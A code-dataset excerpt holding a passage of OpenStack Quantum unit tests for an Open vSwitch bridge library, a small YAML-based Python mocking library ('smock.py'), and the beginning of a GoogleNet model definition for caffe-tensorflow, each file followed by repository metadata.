"add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=3,tun_id=%s,actions=" "mod_vlan_vid:%s,output:%s" % (lsw_id, vid, ofport)], root_helper=self.root_helper) self.mox.ReplayAll() self.br.add_flow(priority=2, dl_src="ca:fe:de:ad:be:ef", actions="strip_vlan,output:0") self.br.add_flow(priority=1, actions="normal") self.br.add_flow(priority=2, actions="drop") self.br.add_flow(priority=2, in_port=ofport, actions="drop") self.br.add_flow(priority=4, in_port=ofport, dl_vlan=vid, actions="strip_vlan,set_tunnel:%s,normal" % (lsw_id)) self.br.add_flow(priority=3, tun_id=lsw_id, actions="mod_vlan_vid:%s,output:%s" % (vid, ofport)) self.mox.VerifyAll() def test_get_port_ofport(self): pname = "tap99" ofport = "6" utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) self.mox.ReplayAll() self.assertEqual(self.br.get_port_ofport(pname), ofport) self.mox.VerifyAll() def test_get_datapath_id(self): datapath_id = '"0000b67f4fbcc149"' utils.execute(["ovs-vsctl", self.TO, "get", "Bridge", self.BR_NAME, "datapath_id"], root_helper=self.root_helper).AndReturn(datapath_id) self.mox.ReplayAll() self.assertEqual(self.br.get_datapath_id(), datapath_id.strip('"')) self.mox.VerifyAll() def test_count_flows(self): utils.execute(["ovs-ofctl", "dump-flows", self.BR_NAME], root_helper=self.root_helper).AndReturn('ignore' '\nflow-1\n') self.mox.ReplayAll() # counts the number of flows as total lines of output - 2 self.assertEqual(self.br.count_flows(), 1) self.mox.VerifyAll() def test_delete_flow(self): ofport = "5" lsw_id = 40 vid = 39 utils.execute(["ovs-ofctl", "del-flows", self.BR_NAME, "in_port=" + ofport], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "del-flows", self.BR_NAME, "tun_id=%s" % lsw_id], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "del-flows", self.BR_NAME, "dl_vlan=%s" % vid], root_helper=self.root_helper) self.mox.ReplayAll() self.br.delete_flows(in_port=ofport) self.br.delete_flows(tun_id=lsw_id) self.br.delete_flows(dl_vlan=vid) self.mox.VerifyAll() def test_add_tunnel_port(self): pname = "tap99" ip = "9.9.9.9" ofport = "6" utils.execute(["ovs-vsctl", self.TO, "add-port", self.BR_NAME, pname], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "type=gre"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:remote_ip=" + ip], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:in_key=flow"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:out_key=flow"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) self.mox.ReplayAll() self.assertEqual(self.br.add_tunnel_port(pname, ip), ofport) self.mox.VerifyAll() def test_add_patch_port(self): pname = "tap99" peer = "bar10" ofport = "6" utils.execute(["ovs-vsctl", self.TO, "add-port", self.BR_NAME, pname], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "type=patch"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:peer=" + peer], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) self.mox.ReplayAll() self.assertEqual(self.br.add_patch_port(pname, peer), ofport) self.mox.VerifyAll() def _test_get_vif_ports(self, is_xen=False): pname = "tap99" ofport = "6" vif_id = uuidutils.generate_uuid() mac = "ca:fe:de:ad:be:ef" utils.execute(["ovs-vsctl", self.TO, "list-ports", self.BR_NAME], root_helper=self.root_helper).AndReturn("%s\n" % pname) if is_xen: external_ids = ('{xs-vif-uuid="%s", attached-mac="%s"}' % (vif_id, mac)) else: external_ids = ('{iface-id="%s", attached-mac="%s"}' % (vif_id, mac)) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "external_ids"], root_helper=self.root_helper).AndReturn(external_ids) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) if is_xen: utils.execute(["xe", "vif-param-get", "param-name=other-config", "param-key=nicira-iface-id", "uuid=" + vif_id], root_helper=self.root_helper).AndReturn(vif_id) self.mox.ReplayAll() ports = self.br.get_vif_ports() self.assertEqual(1, len(ports)) self.assertEqual(ports[0].port_name, pname) self.assertEqual(ports[0].ofport, ofport) self.assertEqual(ports[0].vif_id, vif_id) self.assertEqual(ports[0].vif_mac, mac) self.assertEqual(ports[0].switch.br_name, self.BR_NAME) self.mox.VerifyAll() def test_get_vif_ports_nonxen(self): self._test_get_vif_ports(False) def test_get_vif_ports_xen(self): self._test_get_vif_ports(True) def test_clear_db_attribute(self): pname = "tap77" utils.execute(["ovs-vsctl", self.TO, "clear", "Port", pname, "tag"], root_helper=self.root_helper) self.mox.ReplayAll() self.br.clear_db_attribute("Port", pname, "tag") self.mox.VerifyAll() def test_port_id_regex(self): result = ('external_ids : {attached-mac="fa:16:3e:23:5b:f2",' ' iface-id="5c1321a7-c73f-4a77-95e6-9f86402e5c8f",' ' iface-status=active}\nname :' ' "dhc5c1321a7-c7"\nofport : 2\n') match = self.br.re_id.search(result) vif_mac = match.group('vif_mac') vif_id = match.group('vif_id') port_name = match.group('port_name') ofport = int(match.group('ofport')) self.assertEqual(vif_mac, 'fa:16:3e:23:5b:f2') self.assertEqual(vif_id, '5c1321a7-c73f-4a77-95e6-9f86402e5c8f') self.assertEqual(port_name, 'dhc5c1321a7-c7') self.assertEqual(ofport, 2) def test_iface_to_br(self): iface = 'tap0' br = 'br-int' root_helper = 'sudo' utils.execute(["ovs-vsctl", self.TO, "iface-to-br", iface], root_helper=root_helper).AndReturn('br-int') self.mox.ReplayAll() self.assertEqual(ovs_lib.get_bridge_for_iface(root_helper, iface), br) self.mox.VerifyAll() def test_iface_to_br(self): iface = 'tap0' br = 'br-int' root_helper = 'sudo' utils.execute(["ovs-vsctl", self.TO, "iface-to-br", iface], root_helper=root_helper).AndRaise(Exception) self.mox.ReplayAll() self.assertIsNone(ovs_lib.get_bridge_for_iface(root_helper, iface)) self.mox.VerifyAll() def test_delete_all_ports(self): self.mox.StubOutWithMock(self.br, 'get_port_name_list') self.br.get_port_name_list().AndReturn(['port1']) self.mox.StubOutWithMock(self.br, 'delete_port') self.br.delete_port('port1') self.mox.ReplayAll() self.br.delete_ports(all_ports=True) self.mox.VerifyAll() def test_delete_quantum_ports(self): port1 = ovs_lib.VifPort('tap1234', 1, uuidutils.generate_uuid(), 'ca:fe:de:ad:be:ef', 'br') port2 = ovs_lib.VifPort('tap5678', 2, uuidutils.generate_uuid(), 'ca:ee:de:ad:be:ef', 'br') ports = [port1, port2] self.mox.StubOutWithMock(self.br, 'get_vif_ports') self.br.get_vif_ports().AndReturn([port1, port2]) self.mox.StubOutWithMock(self.br, 'delete_port') self.br.delete_port('tap1234') self.br.delete_port('tap5678') self.mox.ReplayAll() self.br.delete_ports(all_ports=False) self.mox.VerifyAll() def test_get_bridges(self): bridges = ['br-int', 'br-ex'] root_helper = 'sudo' utils.execute(["ovs-vsctl", self.TO, "list-br"], root_helper=root_helper).AndReturn('br-int\nbr-ex\n') self.mox.ReplayAll() self.assertEqual(ovs_lib.get_bridges(root_helper), bridges) self.mox.VerifyAll()

40.616046

78

0.567478

import mox from quantum.agent.linux import ovs_lib, utils from quantum.openstack.common import uuidutils from quantum.tests import base class OVS_Lib_Test(base.BaseTestCase): def setUp(self): super(OVS_Lib_Test, self).setUp() self.BR_NAME = "br-int" self.TO = "--timeout=2" self.mox = mox.Mox() self.root_helper = 'sudo' self.br = ovs_lib.OVSBridge(self.BR_NAME, self.root_helper) self.mox.StubOutWithMock(utils, "execute") self.addCleanup(self.mox.UnsetStubs) def test_vifport(self): self.mox.ReplayAll() pname = "vif1.0" ofport = 5 vif_id = uuidutils.generate_uuid() mac = "ca:fe:de:ad:be:ef" port = ovs_lib.VifPort(pname, ofport, vif_id, mac, self.br) self.assertEqual(port.port_name, pname) self.assertEqual(port.ofport, ofport) self.assertEqual(port.vif_id, vif_id) self.assertEqual(port.vif_mac, mac) self.assertEqual(port.switch.br_name, self.BR_NAME) foo = str(port) self.mox.VerifyAll() def test_reset_bridge(self): utils.execute(["ovs-vsctl", self.TO, "--", "--if-exists", "del-br", self.BR_NAME], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "add-br", self.BR_NAME], root_helper=self.root_helper) self.mox.ReplayAll() self.br.reset_bridge() self.mox.VerifyAll() def test_delete_port(self): pname = "tap5" utils.execute(["ovs-vsctl", self.TO, "--", "--if-exists", "del-port", self.BR_NAME, pname], root_helper=self.root_helper) self.mox.ReplayAll() self.br.delete_port(pname) self.mox.VerifyAll() def test_add_flow(self): ofport = "99" vid = 4000 lsw_id = 18 utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=2,dl_src=ca:fe:de:ad:be:ef" ",actions=strip_vlan,output:0"], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=1,actions=normal"], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=2,actions=drop"], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=2,in_port=%s,actions=drop" % ofport], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=4,in_port=%s,dl_vlan=%s," "actions=strip_vlan,set_tunnel:%s,normal" % (ofport, vid, lsw_id)], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "add-flow", self.BR_NAME, "hard_timeout=0,idle_timeout=0," "priority=3,tun_id=%s,actions=" "mod_vlan_vid:%s,output:%s" % (lsw_id, vid, ofport)], root_helper=self.root_helper) self.mox.ReplayAll() self.br.add_flow(priority=2, dl_src="ca:fe:de:ad:be:ef", actions="strip_vlan,output:0") self.br.add_flow(priority=1, actions="normal") self.br.add_flow(priority=2, actions="drop") self.br.add_flow(priority=2, in_port=ofport, actions="drop") self.br.add_flow(priority=4, in_port=ofport, dl_vlan=vid, actions="strip_vlan,set_tunnel:%s,normal" % (lsw_id)) self.br.add_flow(priority=3, tun_id=lsw_id, actions="mod_vlan_vid:%s,output:%s" % (vid, ofport)) self.mox.VerifyAll() def test_get_port_ofport(self): pname = "tap99" ofport = "6" utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) self.mox.ReplayAll() self.assertEqual(self.br.get_port_ofport(pname), ofport) self.mox.VerifyAll() def test_get_datapath_id(self): datapath_id = '"0000b67f4fbcc149"' utils.execute(["ovs-vsctl", self.TO, "get", "Bridge", self.BR_NAME, "datapath_id"], root_helper=self.root_helper).AndReturn(datapath_id) self.mox.ReplayAll() self.assertEqual(self.br.get_datapath_id(), datapath_id.strip('"')) self.mox.VerifyAll() def test_count_flows(self): utils.execute(["ovs-ofctl", "dump-flows", self.BR_NAME], root_helper=self.root_helper).AndReturn('ignore' '\nflow-1\n') self.mox.ReplayAll() # counts the number of flows as total lines of output - 2 self.assertEqual(self.br.count_flows(), 1) self.mox.VerifyAll() def test_delete_flow(self): ofport = "5" lsw_id = 40 vid = 39 utils.execute(["ovs-ofctl", "del-flows", self.BR_NAME, "in_port=" + ofport], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "del-flows", self.BR_NAME, "tun_id=%s" % lsw_id], root_helper=self.root_helper) utils.execute(["ovs-ofctl", "del-flows", self.BR_NAME, "dl_vlan=%s" % vid], root_helper=self.root_helper) self.mox.ReplayAll() self.br.delete_flows(in_port=ofport) self.br.delete_flows(tun_id=lsw_id) self.br.delete_flows(dl_vlan=vid) self.mox.VerifyAll() def test_add_tunnel_port(self): pname = "tap99" ip = "9.9.9.9" ofport = "6" utils.execute(["ovs-vsctl", self.TO, "add-port", self.BR_NAME, pname], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "type=gre"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:remote_ip=" + ip], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:in_key=flow"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:out_key=flow"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) self.mox.ReplayAll() self.assertEqual(self.br.add_tunnel_port(pname, ip), ofport) self.mox.VerifyAll() def test_add_patch_port(self): pname = "tap99" peer = "bar10" ofport = "6" utils.execute(["ovs-vsctl", self.TO, "add-port", self.BR_NAME, pname], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "type=patch"], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "set", "Interface", pname, "options:peer=" + peer], root_helper=self.root_helper) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) self.mox.ReplayAll() self.assertEqual(self.br.add_patch_port(pname, peer), ofport) self.mox.VerifyAll() def _test_get_vif_ports(self, is_xen=False): pname = "tap99" ofport = "6" vif_id = uuidutils.generate_uuid() mac = "ca:fe:de:ad:be:ef" utils.execute(["ovs-vsctl", self.TO, "list-ports", self.BR_NAME], root_helper=self.root_helper).AndReturn("%s\n" % pname) if is_xen: external_ids = ('{xs-vif-uuid="%s", attached-mac="%s"}' % (vif_id, mac)) else: external_ids = ('{iface-id="%s", attached-mac="%s"}' % (vif_id, mac)) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "external_ids"], root_helper=self.root_helper).AndReturn(external_ids) utils.execute(["ovs-vsctl", self.TO, "get", "Interface", pname, "ofport"], root_helper=self.root_helper).AndReturn(ofport) if is_xen: utils.execute(["xe", "vif-param-get", "param-name=other-config", "param-key=nicira-iface-id", "uuid=" + vif_id], root_helper=self.root_helper).AndReturn(vif_id) self.mox.ReplayAll() ports = self.br.get_vif_ports() self.assertEqual(1, len(ports)) self.assertEqual(ports[0].port_name, pname) self.assertEqual(ports[0].ofport, ofport) self.assertEqual(ports[0].vif_id, vif_id) self.assertEqual(ports[0].vif_mac, mac) self.assertEqual(ports[0].switch.br_name, self.BR_NAME) self.mox.VerifyAll() def test_get_vif_ports_nonxen(self): self._test_get_vif_ports(False) def test_get_vif_ports_xen(self): self._test_get_vif_ports(True) def test_clear_db_attribute(self): pname = "tap77" utils.execute(["ovs-vsctl", self.TO, "clear", "Port", pname, "tag"], root_helper=self.root_helper) self.mox.ReplayAll() self.br.clear_db_attribute("Port", pname, "tag") self.mox.VerifyAll() def test_port_id_regex(self): result = ('external_ids : {attached-mac="fa:16:3e:23:5b:f2",' ' iface-id="5c1321a7-c73f-4a77-95e6-9f86402e5c8f",' ' iface-status=active}\nname :' ' "dhc5c1321a7-c7"\nofport : 2\n') match = self.br.re_id.search(result) vif_mac = match.group('vif_mac') vif_id = match.group('vif_id') port_name = match.group('port_name') ofport = int(match.group('ofport')) self.assertEqual(vif_mac, 'fa:16:3e:23:5b:f2') self.assertEqual(vif_id, '5c1321a7-c73f-4a77-95e6-9f86402e5c8f') self.assertEqual(port_name, 'dhc5c1321a7-c7') self.assertEqual(ofport, 2) def test_iface_to_br(self): iface = 'tap0' br = 'br-int' root_helper = 'sudo' utils.execute(["ovs-vsctl", self.TO, "iface-to-br", iface], root_helper=root_helper).AndReturn('br-int') self.mox.ReplayAll() self.assertEqual(ovs_lib.get_bridge_for_iface(root_helper, iface), br) self.mox.VerifyAll() def test_iface_to_br(self): iface = 'tap0' br = 'br-int' root_helper = 'sudo' utils.execute(["ovs-vsctl", self.TO, "iface-to-br", iface], root_helper=root_helper).AndRaise(Exception) self.mox.ReplayAll() self.assertIsNone(ovs_lib.get_bridge_for_iface(root_helper, iface)) self.mox.VerifyAll() def test_delete_all_ports(self): self.mox.StubOutWithMock(self.br, 'get_port_name_list') self.br.get_port_name_list().AndReturn(['port1']) self.mox.StubOutWithMock(self.br, 'delete_port') self.br.delete_port('port1') self.mox.ReplayAll() self.br.delete_ports(all_ports=True) self.mox.VerifyAll() def test_delete_quantum_ports(self): port1 = ovs_lib.VifPort('tap1234', 1, uuidutils.generate_uuid(), 'ca:fe:de:ad:be:ef', 'br') port2 = ovs_lib.VifPort('tap5678', 2, uuidutils.generate_uuid(), 'ca:ee:de:ad:be:ef', 'br') ports = [port1, port2] self.mox.StubOutWithMock(self.br, 'get_vif_ports') self.br.get_vif_ports().AndReturn([port1, port2]) self.mox.StubOutWithMock(self.br, 'delete_port') self.br.delete_port('tap1234') self.br.delete_port('tap5678') self.mox.ReplayAll() self.br.delete_ports(all_ports=False) self.mox.VerifyAll() def test_get_bridges(self): bridges = ['br-int', 'br-ex'] root_helper = 'sudo' utils.execute(["ovs-vsctl", self.TO, "list-br"], root_helper=root_helper).AndReturn('br-int\nbr-ex\n') self.mox.ReplayAll() self.assertEqual(ovs_lib.get_bridges(root_helper), bridges) self.mox.VerifyAll()

true

790c759b73c878a7b39473583ec0ffc5dfbb10f0

6,196

py

Python

smock.py

serverboards/serverboards-plugin-google-drive

2295df2c8c42d1667e80d00d2038aabd2fe15b62

[ "Apache-2.0" ]

null

smock.py

serverboards/serverboards-plugin-google-drive

2295df2c8c42d1667e80d00d2038aabd2fe15b62

[ "Apache-2.0" ]

null

smock.py

serverboards/serverboards-plugin-google-drive

2295df2c8c42d1667e80d00d2038aabd2fe15b62

[ "Apache-2.0" ]

null

import json import yaml """ SMock -- Serverboards Mock library -- Mock comfortably. This library helps to mock function and method calls, getting the data from an external yaml file. """ class MockWrapper: """ Wraps all the data returned by the mocked function to behave like a dictionary, like an object, like a function, like a jsonable dict... like almost everything you may need """ def __init__(self, data): self.__data = data def __getattr__(self, key): if key not in self.__data: raise KeyError("'%s' not found in %s" % (key, self.__data.keys())) return self.__getitem__(key) def __call__(self): return wrapped(self.__data) def __getitem__(self, key): val = self.__data[key] if isinstance(val, (int, str)): return val return wrapped(val) def __str__(self): return str(self.__data) def __repr__(self): return repr(self.__data) def __eq__(self, other): return self.__data.__eq__(other) def __le__(self, other): return self.__data.__le__(other) def __ge__(self, other): return self.__data.__ge__(other) def __lt__(self, other): return self.__data.__lt__(other) def __gt__(self, other): return self.__data.__gt__(other) def __len__(self): return self.__data.__len__() def keys(self): return self.__data.keys() def get(self, key, defv=None): return self.__data.get(key, defv) class MockWrapperList(MockWrapper, list): def __init__(self, data): MockWrapper.__init__(self, data) list.__init__(self, data) class MockWrapperDict(MockWrapper, dict): def __init__(self, data): MockWrapper.__init__(self, data) dict.__init__(self, data) def wrapped(data): if isinstance(data, dict): return MockWrapperDict(data) if isinstance(data, list): return MockWrapperList(data) return MockWrapper(data) def mock_match(A, B): """ Checked for params on a mocked function is as expected It is necesary as sometimes we get a tuple and at the mock data we have lists. Examples: ``` >>> mock_match("A", "A") True >>> mock_match("A", "B") False >>> mock_match(["A", "B", "C"], ["A", "B", "C"]) True >>> mock_match(["A", "B", "C"], "*") True ``` """ if B == '*': # always match return True if isinstance(A, (tuple, list)): return all(mock_match(a, b) for (a, b) in zip(A, B)) return A == B def mock_res(name, data, args=[], kwargs={}): """ Given a name, data and call parameters, returns the mocked response If there is no matching response, raises an exception that can be used to prepare the mock data. This can be used for situations where you mock some function like data; for example at [Serverboards](https://serverboards.io), we use it to mock RPC calls. Its also used internally on every other mocking. """ data = data.get(name) if not data: raise Exception( "unknown method for mocking: \n%s:\n - args: %s\n kwargs: %s\n response: ...\n" % ( name, json.dumps(args), json.dumps(kwargs) ) ) for res in data: if (mock_match(args, res.get("args")) and mock_match(kwargs, res.get("kwargs", {}))): if 'error' in res: raise Exception(res["error"]) response = res["response"] if isinstance(response, (int, str)): return response return wrapped(response) raise Exception( "unknown data for mocking: \n%s:\n - args: %s\n kwargs: %s\n response: ...\n" % ( name, json.dumps(args), json.dumps(kwargs) ) ) def mock_method(name, data): """ Returns a function that mocks an original function. """ def mockf(*args, **kwargs): return mock_res(name, data, args, kwargs) return mockf def mock_method_async(name, data): """ Returns an async function that mocks an original async function """ async def mockf(*args, **kwargs): return mock_res(name, data, args, kwargs) return mockf class SMock: """ Encapsulates mocking calls so it's easier to load data and mock methods Example: ```python >>> import requests >>> smocked = SMock("tests/data.yaml") >>> requests.get = smocked.mock_method("requests.get") >>> res = requests.get("https://mocked.url") >>> res.status_code 200 >>> res.content 'Gocha!' >>> res.json() {'text': 'Gocha too!'} ``` The mock file is a yaml file with each mocked function as keys, and `args`/`kwargs` as calling args and kwargs, and `response` the response. Check `tests/data.yaml` for an example at the source code. """ def __init__(self, mockfile): with open(mockfile) as fd: self._data = yaml.load(fd) def mock_res(self, name, args=[], kwargs={}): """ Calls `mock_res` Mock by args: ``` >>> smock = SMock("tests/data.yaml") >>> res = smock.mock_res("requests.get", ["https://mocked.url"]) >>> res.status_code 200 ``` Using "*" as args, as fallback. As there is no kwargs, use default: ``` >>> res = smock.mock_res("requests.get", ["https://error.mocked.url"]) >>> res.status_code 404 ``` Using "*" as kwargs: ``` >>> res = smock.mock_res("requests.get", ... ["https://mocked.url"], ... {'data': 'data'}) >>> res.status_code 200 >>> res.content 'Mocked query' ``` """ return mock_res(name, self._data, args, kwargs) def mock_method(self, name): """ Calls `mock_method` """ return mock_method(name, self._data) async def mock_method_async(self, name): """ Calls `mock_method_async` """ return await mock_method_async(name, self._data)

25.497942

102

0.576017

import json import yaml class MockWrapper: def __init__(self, data): self.__data = data def __getattr__(self, key): if key not in self.__data: raise KeyError("'%s' not found in %s" % (key, self.__data.keys())) return self.__getitem__(key) def __call__(self): return wrapped(self.__data) def __getitem__(self, key): val = self.__data[key] if isinstance(val, (int, str)): return val return wrapped(val) def __str__(self): return str(self.__data) def __repr__(self): return repr(self.__data) def __eq__(self, other): return self.__data.__eq__(other) def __le__(self, other): return self.__data.__le__(other) def __ge__(self, other): return self.__data.__ge__(other) def __lt__(self, other): return self.__data.__lt__(other) def __gt__(self, other): return self.__data.__gt__(other) def __len__(self): return self.__data.__len__() def keys(self): return self.__data.keys() def get(self, key, defv=None): return self.__data.get(key, defv) class MockWrapperList(MockWrapper, list): def __init__(self, data): MockWrapper.__init__(self, data) list.__init__(self, data) class MockWrapperDict(MockWrapper, dict): def __init__(self, data): MockWrapper.__init__(self, data) dict.__init__(self, data) def wrapped(data): if isinstance(data, dict): return MockWrapperDict(data) if isinstance(data, list): return MockWrapperList(data) return MockWrapper(data) def mock_match(A, B): if B == '*': return True if isinstance(A, (tuple, list)): return all(mock_match(a, b) for (a, b) in zip(A, B)) return A == B def mock_res(name, data, args=[], kwargs={}): data = data.get(name) if not data: raise Exception( "unknown method for mocking: \n%s:\n - args: %s\n kwargs: %s\n response: ...\n" % ( name, json.dumps(args), json.dumps(kwargs) ) ) for res in data: if (mock_match(args, res.get("args")) and mock_match(kwargs, res.get("kwargs", {}))): if 'error' in res: raise Exception(res["error"]) response = res["response"] if isinstance(response, (int, str)): return response return wrapped(response) raise Exception( "unknown data for mocking: \n%s:\n - args: %s\n kwargs: %s\n response: ...\n" % ( name, json.dumps(args), json.dumps(kwargs) ) ) def mock_method(name, data): def mockf(*args, **kwargs): return mock_res(name, data, args, kwargs) return mockf def mock_method_async(name, data): async def mockf(*args, **kwargs): return mock_res(name, data, args, kwargs) return mockf class SMock: def __init__(self, mockfile): with open(mockfile) as fd: self._data = yaml.load(fd) def mock_res(self, name, args=[], kwargs={}): return mock_res(name, self._data, args, kwargs) def mock_method(self, name): return mock_method(name, self._data) async def mock_method_async(self, name): return await mock_method_async(name, self._data)

true

790c77c112f04ac750b068e50533564b671bd615

7,851

py

Python

caffe-tensorflow/examples/imagenet/models/googlenet.py

petercheng00/PSPNet-Keras-tensorflow

d50583786a3e8782dd1b735d268e57392cd8c646

[ "MIT" ]

3,209

2015-11-10T06:52:59.000Z

2022-03-10T05:17:28.000Z

caffe-tensorflow/examples/imagenet/models/googlenet.py

petercheng00/PSPNet-Keras-tensorflow

d50583786a3e8782dd1b735d268e57392cd8c646

[ "MIT" ]

174

2015-11-10T21:32:54.000Z

2021-11-09T15:51:30.000Z

caffe-tensorflow/examples/imagenet/models/googlenet.py

petercheng00/PSPNet-Keras-tensorflow

d50583786a3e8782dd1b735d268e57392cd8c646

[ "MIT" ]

1,218

2015-11-10T23:55:48.000Z

2022-01-07T07:36:57.000Z

from kaffe.tensorflow import Network class GoogleNet(Network): def setup(self): (self.feed('data') .conv(7, 7, 64, 2, 2, name='conv1_7x7_s2') .max_pool(3, 3, 2, 2, name='pool1_3x3_s2') .lrn(2, 2e-05, 0.75, name='pool1_norm1') .conv(1, 1, 64, 1, 1, name='conv2_3x3_reduce') .conv(3, 3, 192, 1, 1, name='conv2_3x3') .lrn(2, 2e-05, 0.75, name='conv2_norm2') .max_pool(3, 3, 2, 2, name='pool2_3x3_s2') .conv(1, 1, 64, 1, 1, name='inception_3a_1x1')) (self.feed('pool2_3x3_s2') .conv(1, 1, 96, 1, 1, name='inception_3a_3x3_reduce') .conv(3, 3, 128, 1, 1, name='inception_3a_3x3')) (self.feed('pool2_3x3_s2') .conv(1, 1, 16, 1, 1, name='inception_3a_5x5_reduce') .conv(5, 5, 32, 1, 1, name='inception_3a_5x5')) (self.feed('pool2_3x3_s2') .max_pool(3, 3, 1, 1, name='inception_3a_pool') .conv(1, 1, 32, 1, 1, name='inception_3a_pool_proj')) (self.feed('inception_3a_1x1', 'inception_3a_3x3', 'inception_3a_5x5', 'inception_3a_pool_proj') .concat(3, name='inception_3a_output') .conv(1, 1, 128, 1, 1, name='inception_3b_1x1')) (self.feed('inception_3a_output') .conv(1, 1, 128, 1, 1, name='inception_3b_3x3_reduce') .conv(3, 3, 192, 1, 1, name='inception_3b_3x3')) (self.feed('inception_3a_output') .conv(1, 1, 32, 1, 1, name='inception_3b_5x5_reduce') .conv(5, 5, 96, 1, 1, name='inception_3b_5x5')) (self.feed('inception_3a_output') .max_pool(3, 3, 1, 1, name='inception_3b_pool') .conv(1, 1, 64, 1, 1, name='inception_3b_pool_proj')) (self.feed('inception_3b_1x1', 'inception_3b_3x3', 'inception_3b_5x5', 'inception_3b_pool_proj') .concat(3, name='inception_3b_output') .max_pool(3, 3, 2, 2, name='pool3_3x3_s2') .conv(1, 1, 192, 1, 1, name='inception_4a_1x1')) (self.feed('pool3_3x3_s2') .conv(1, 1, 96, 1, 1, name='inception_4a_3x3_reduce') .conv(3, 3, 208, 1, 1, name='inception_4a_3x3')) (self.feed('pool3_3x3_s2') .conv(1, 1, 16, 1, 1, name='inception_4a_5x5_reduce') .conv(5, 5, 48, 1, 1, name='inception_4a_5x5')) (self.feed('pool3_3x3_s2') .max_pool(3, 3, 1, 1, name='inception_4a_pool') .conv(1, 1, 64, 1, 1, name='inception_4a_pool_proj')) (self.feed('inception_4a_1x1', 'inception_4a_3x3', 'inception_4a_5x5', 'inception_4a_pool_proj') .concat(3, name='inception_4a_output') .conv(1, 1, 160, 1, 1, name='inception_4b_1x1')) (self.feed('inception_4a_output') .conv(1, 1, 112, 1, 1, name='inception_4b_3x3_reduce') .conv(3, 3, 224, 1, 1, name='inception_4b_3x3')) (self.feed('inception_4a_output') .conv(1, 1, 24, 1, 1, name='inception_4b_5x5_reduce') .conv(5, 5, 64, 1, 1, name='inception_4b_5x5')) (self.feed('inception_4a_output') .max_pool(3, 3, 1, 1, name='inception_4b_pool') .conv(1, 1, 64, 1, 1, name='inception_4b_pool_proj')) (self.feed('inception_4b_1x1', 'inception_4b_3x3', 'inception_4b_5x5', 'inception_4b_pool_proj') .concat(3, name='inception_4b_output') .conv(1, 1, 128, 1, 1, name='inception_4c_1x1')) (self.feed('inception_4b_output') .conv(1, 1, 128, 1, 1, name='inception_4c_3x3_reduce') .conv(3, 3, 256, 1, 1, name='inception_4c_3x3')) (self.feed('inception_4b_output') .conv(1, 1, 24, 1, 1, name='inception_4c_5x5_reduce') .conv(5, 5, 64, 1, 1, name='inception_4c_5x5')) (self.feed('inception_4b_output') .max_pool(3, 3, 1, 1, name='inception_4c_pool') .conv(1, 1, 64, 1, 1, name='inception_4c_pool_proj')) (self.feed('inception_4c_1x1', 'inception_4c_3x3', 'inception_4c_5x5', 'inception_4c_pool_proj') .concat(3, name='inception_4c_output') .conv(1, 1, 112, 1, 1, name='inception_4d_1x1')) (self.feed('inception_4c_output') .conv(1, 1, 144, 1, 1, name='inception_4d_3x3_reduce') .conv(3, 3, 288, 1, 1, name='inception_4d_3x3')) (self.feed('inception_4c_output') .conv(1, 1, 32, 1, 1, name='inception_4d_5x5_reduce') .conv(5, 5, 64, 1, 1, name='inception_4d_5x5')) (self.feed('inception_4c_output') .max_pool(3, 3, 1, 1, name='inception_4d_pool') .conv(1, 1, 64, 1, 1, name='inception_4d_pool_proj')) (self.feed('inception_4d_1x1', 'inception_4d_3x3', 'inception_4d_5x5', 'inception_4d_pool_proj') .concat(3, name='inception_4d_output') .conv(1, 1, 256, 1, 1, name='inception_4e_1x1')) (self.feed('inception_4d_output') .conv(1, 1, 160, 1, 1, name='inception_4e_3x3_reduce') .conv(3, 3, 320, 1, 1, name='inception_4e_3x3')) (self.feed('inception_4d_output') .conv(1, 1, 32, 1, 1, 